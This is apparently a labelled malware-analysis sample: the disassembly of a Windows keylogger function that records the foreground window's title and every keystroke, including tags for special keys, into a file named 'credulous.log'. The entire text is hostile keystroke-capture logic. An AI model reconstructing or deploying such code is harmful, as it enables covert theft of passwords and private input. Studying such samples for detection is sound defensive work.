Function at 0x4010c7
Capabilities:
Get graphical window text
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push str.credulous.log
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4010ff
jmp 0x40143d
push 2
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
push 0x405750
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x405750
push 0x405350
call fcn.004016d0
add esp, 8
test eax, eax
je 0x4011ab
push 0
lea ecx, [ebp - 4]
push ecx
push 0xc
push str._r_n_Window:
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push 0x405750
call fcn.00401650
add esp, 4
push eax
push 0x405750
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 4]
push edx
push 4
push 0x40503c
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x3ff
push 0x405750
push 0x405350
call fcn.00401550
add esp, 0xc
mov byte [0x40574f], 0
cmp dword [ebp + 8], 0x27
jb 0x4011d2
cmp dword [ebp + 8], 0x40
ja 0x4011d2
push 0
lea ecx, [ebp - 4]
push ecx
push 1
lea edx, [ebp + 8]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
cmp dword [ebp + 8], 0x40
jbe 0x401202
cmp dword [ebp + 8], 0x5b
jae 0x401202
mov ecx, dword [ebp + 8]
add ecx, 0x20
mov dword [ebp + 8], ecx
push 0
lea edx, [ebp - 4]
push edx
push 1
lea eax, [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
mov edx, dword [ebp + 8]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
sub eax, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x61
ja case.0x401226.18
mov edx, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [edx + 0x40148d]
jmp dword [ecx*4 + 0x401441]
push 0
lea eax, [ebp - 4]
push eax
push 1
push 0x405074
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea edx, [ebp - 4]
push edx
push 7
push str._SHIFT_
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea ecx, [ebp - 4]
push ecx
push 8
push str._n_ENTER_
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea eax, [ebp - 4]
push eax
push str._BACKSPACE_
call fcn.00401650
add esp, 4
push eax
push str.BACKSPACE
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea edx, [ebp - 4]
push edx
push 5
push str._TAB_
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea ecx, [ebp - 4]
push ecx
push 6
push str._CTRL_
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea eax, [ebp - 4]
push eax
push 5
push str._DEL_
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea edx, [ebp - 4]
push edx
push 1
push str.0123456789
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea ecx, [ebp - 4]
push ecx
push 1
push 0x4050c0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea eax, [ebp - 4]
push eax
push 1
push 0x4050c4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea edx, [ebp - 4]
push edx
push 1
push 0x4050c8
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea ecx, [ebp - 4]
push ecx
push 1
push 0x4050cc
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea eax, [ebp - 4]
push eax
push 1
push 0x4050d0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea edx, [ebp - 4]
push edx
push 1
push 0x4050d4
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea ecx, [ebp - 4]
push ecx
push 1
push 0x4050d8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea eax, [ebp - 4]
push eax
push 1
push 0x4050dc
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea edx, [ebp - 4]
push edx
push 1
push 0x4050e0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x401226.18
push 0
lea ecx, [ebp - 4]
push ecx
push 0x4050e4
call fcn.00401650
add esp, 4
push eax
push str._CAPS_LOCK_
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 8], 0xffffffff
mov esp, ebp
pop ebp
ret